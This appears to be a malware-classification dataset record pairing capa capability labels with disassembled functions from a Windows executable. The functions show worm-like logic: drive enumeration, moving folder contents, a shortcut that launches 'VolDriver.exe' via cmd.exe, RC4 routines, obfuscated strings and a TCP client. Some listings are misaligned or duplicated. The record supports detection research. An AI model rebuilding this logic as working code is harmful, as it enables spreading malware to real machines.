joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4041e0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4126f8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 3
push 0
push 0
push connect
push 0x412920
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x404305
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4042fb
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4042f1
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x4042e7
cmp dword [ebp - 0x10], 0x100
jae 0x40427e
jmp 0x4042e7
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040a5f0
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x404295
jmp 0x4042e7
mov edx, dword [ebp - 0x10]
sub edx, 0x100
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0xc]
jae 0x4042ba
mov edx, dword [ebp - 0x18]
push edx
call fcn.00408680
add esp, 4
jmp 0x4042e7
push 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xc]
add ecx, 0x100
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.004040d0
add esp, 0x10
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
sub edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
jmp 0x40426d
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x4047c0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x404835
cmp dword [ebp - 0x41c], 3
jbe 0x4047fc
cmp dword [ebp - 0x41c], 6
je 0x4047fc
jmp 0x404835
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x404835
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x404835
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4048a0
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], reloc.WS2_32.dll_bind
mov dword [ebp - 4], reloc.WS2_32.dll_accept
mov dword [ebp - 0x14], 0
jmp 0x4048d6
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x404946
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404944
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40493a
cmp dword [ebp - 0x1c], 0
je 0x40493a
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4048cd
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x404960
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
push 0x40f318
push 1
push 0
push 0x40f328
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x404a62
cmp dword [ebp - 8], 0
je 0x404a62
push 0x4123d4
push 0x4123d4
push str._c_start_._s__start_._sVolDriver.exe
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push str._windir__system32cmd.exe
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x50]
call edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x44]
call edx
push 7
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ecx + 0x3c]
call eax
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x2c]
call edx
lea eax, [ebp - 0xc]
push eax
push 0x40f338
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx]
call ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x404a54
cmp dword [ebp - 0xc], 0
je 0x404a54
push 1
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ecx + 0x18]
call eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [edx + 8]
call ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 8]
call edx
mov esp, ebp
pop ebp
ret
Function at 0x404a70
Capabilities:
Create directory
Delete directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 8]
push ecx
push 0x410540
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0xffffffff
je 0x404b9f
push 0x41054c
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404af1
push 0x410550
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x404af3
jmp 0x404b6c
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x410558
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0x410564
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 0x458]
and ecx, 0x10
je 0x404b56
lea edx, [ebp - 0x870]
push edx
lea eax, [ebp - 0x668]
push eax
call fcn.00404a70
add esp, 8
jmp 0x404b6c
push 9
lea ecx, [ebp - 0x870]
push ecx
lea edx, [ebp - 0x668]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x458]
push eax
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404ac5
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov esp, ebp
pop ebp
ret
Function at 0x405810
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
add eax, 1
push eax
call fcn.00408530
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405867
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, dword [ebp + 0x10]
mov byte [ecx], 0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0x4057b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x4074b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0x14], 0
jne 0x4074c1
jmp 0x407674
xor eax, eax
mov word [ebp - 0x10], ax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
je 0x407511
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp + 0xc]
shr edx, 3
mov eax, dword [ebp + 8]
movzx cx, byte [eax + edx]
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
mov ecx, 8
sub ecx, dword [ebp - 0x14]
sar edx, cl
mov word [ebp - 0x10], dx
mov eax, dword [ebp + 0xc]
shr eax, 3
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x14]
add ecx, 7
shr ecx, 3
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
jmp 0x407538
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jge 0x407674
mov ecx, dword [ebp - 8]
sub ecx, 1
cmp dword [ebp - 4], ecx
je 0x407570
movzx edx, word [ebp - 0x10]
shl edx, 8
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 4]
movzx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x10], dx
mov edx, dword [ebp - 0x14]
add edx, 8
mov dword [ebp - 0x14], edx
jmp 0x4075c9
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
jne 0x407589
mov dword [ebp - 0x24], 8
jmp 0x407598
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
shl eax, cl
mov ecx, dword [ebp + 0x10]
add ecx, dword [ebp - 4]
movzx edx, byte [ecx]
mov ecx, 8
sub ecx, dword [ebp - 0x18]
sar edx, cl
or eax, edx
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
setne dl
xor eax, eax
cmp dword [ebp - 0x14], 8
setge al
and edx, eax
jne 0x4075ff
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
sete dl
xor eax, eax
cmp dword [ebp - 0x14], 0
setg al
and edx, eax
je 0x40766f
cmp dword [ebp - 0x14], 8
jle 0x40760e
mov dword [ebp - 0x28], 8
jmp 0x407614
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x1c]
sar eax, cl
mov byte [ebp - 0x1d], al
movzx edx, byte [ebp - 0x1d]
mov ecx, 8
sub ecx, dword [ebp - 0x1c]
shl edx, cl
mov byte [ebp - 0x1d], dl
mov eax, 0xff00
mov ecx, dword [ebp - 0x1c]
sar eax, cl
movzx ecx, byte [ebp - 0x1d]
and ecx, eax
mov byte [ebp - 0x1d], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0x1d]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
jmp 0x4075c9
jmp 0x40752f
mov esp, ebp
pop ebp
ret
Function at 0x4081e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea esi, [edi + edi*8 - 1]
dec dword [ecx + 0x5d880c4d]
ror byte [eax + 0x45c6c15d], 0xc2
in al, dx
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
invalid
inc ebp
into

Function at 0x408510
Capabilities:
Inspect section memory permissions

Disassembly:
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x408526
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x408501
and eax, 0xffff
push eax
jmp 0x408505
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407eb5
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x4086df
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x4084e6
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408530
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x408495
cmp dword [eax + 0xc], ebx
je 0x408538
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.00407ef0
dec ebx
cmpsb byte [esi], byte es:[edi]
loopne 0x4084bb
cmp dword [ebp + 0xc], ebx
jne 0x4084c4
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4086df
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x4084d8
mov dword [ebp + 0x10], edi
jmp 0x4084dd
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.00407ef0
sti
cli
in eax, 0x5b
mov eax, dword [ebp - 0x44]
jmp 0x408487
call fcn.00407ef0
dec edx
cmp byte [ebx], 0x83
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x4085a4
add eax, esi
cmp dword [eax], ebx
je 0x4085a4
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x40859f
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
add byte [eax], dh
add byte [eax], al
jne 0x408589
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x408591
cmp edx, ebx
jne 0x4086df
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x408560
add eax, dword [eax + 4]
jmp 0x40854d
mov dword [ebp + 0xc], ebx
jmp 0x4085af
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4085c7
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4085e5
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x408643
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40862a
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x408633
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40863d
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40861f
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x4085a9
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x408690
dec eax
je 0x408687
sub eax, 3
je 0x40867e
mov dword [ebp - 4], 0x40
jmp 0x4086ad
mov dword [ebp - 4], 4
jmp 0x408693
mov dword [ebp - 4], 0x20
jmp 0x408693
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4086df
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x40865f
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00407ef0
dec edx
int3
Function at 0x408570
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x408495
cmp dword [eax + 0xc], ebx
je 0x408538
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.00407ef0
dec ebx
cmpsb byte [esi], byte es:[edi]
loopne 0x4084bb
cmp dword [ebp + 0xc], ebx
jne 0x4084c4
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4086df
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x4084d8
mov dword [ebp + 0x10], edi
jmp 0x4084dd
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.00407ef0
sti
cli
in eax, 0x5b
mov eax, dword [ebp - 0x44]
jmp 0x408487
call fcn.00407ef0
dec edx
cmp byte [ebx], 0x83
mov eax, dword [edi + 0xa0]
cmp eax, ebx
je 0x4085a4
add eax, esi
cmp dword [eax], ebx
je 0x4085a4
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x40859f
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
add byte [eax], dh
add byte [eax], al
jne 0x408589
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x408591
cmp edx, ebx
jne 0x4086df
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x408560
add eax, dword [eax + 4]
jmp 0x40854d
mov dword [ebp + 0xc], ebx
jmp 0x4085af
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4085c7
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4085e5
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x408643
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40862a
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x408633
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40863d
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x40861f
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x4085a9
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x408690
dec eax
je 0x408687
sub eax, 3
je 0x40867e
mov dword [ebp - 4], 0x40
jmp 0x4086ad
mov dword [ebp - 4], 4
jmp 0x408693
mov dword [ebp - 4], 0x20
jmp 0x408693
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4086df
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x40865f
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00407ef0
dec edx
int3
Function at 0x40a9f0
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x14], 0xffffffff
je 0x40aa0e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
lea edx, [ebp - 0xc]
push edx
push 0x4004667f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x40aa35
jmp 0x40aaaf
cmp dword [ebp - 0xc], 0
jle 0x40aa92
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jae 0x40aa4b
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
jmp 0x40aa51
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x40aa92
cmp dword [ebp + 0x14], 0xffffffff
je 0x40aa80
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 8]
ja 0x40aaaf
cmp dword [ebp + 0x10], 0
jne 0x40aa14
xor eax, eax
cmp dword [ebp + 0x10], 0
sete al
mov esp, ebp
pop ebp
ret

Function at 0x40aac0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40ab3f
xor eax, eax
mov word [ebp - 0x14], ax
xor ecx, ecx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov word [ebp - 6], cx
mov edx, 2
mov word [ebp - 0x14], dx
push 0xbe73
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40ab3f
mov eax, dword [ebp - 4]
push eax
call fcn.00408ad0
add esp, 4
mov dword [ebp - 4], 0xffffffff
jmp 0x40ab43
xor ecx, ecx
jne 0x40aacd
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40b050
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40b138
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 8]
push edx
call fcn.0040afd0
add esp, 4
cmp dword [ebp + 0x10], 0
je 0x40b12b
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ecx*4 + 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.00408570
add esp, 8
mov edx, dword [ebp - 8]
mov dword [edx + 0x1c], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x1c], 0
je 0x40b12b
mov ecx, dword [ebp + 0x18]
push ecx
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40b12b
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x1c]
mov ecx, dword [ebp - 0xc]
mov dword [edx + eax*4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
add eax, 1
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
cmp dword [ebp + 0x1c], 0
je 0x40b124
push 2
push 0
push 0
mov edx, dword [ebp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret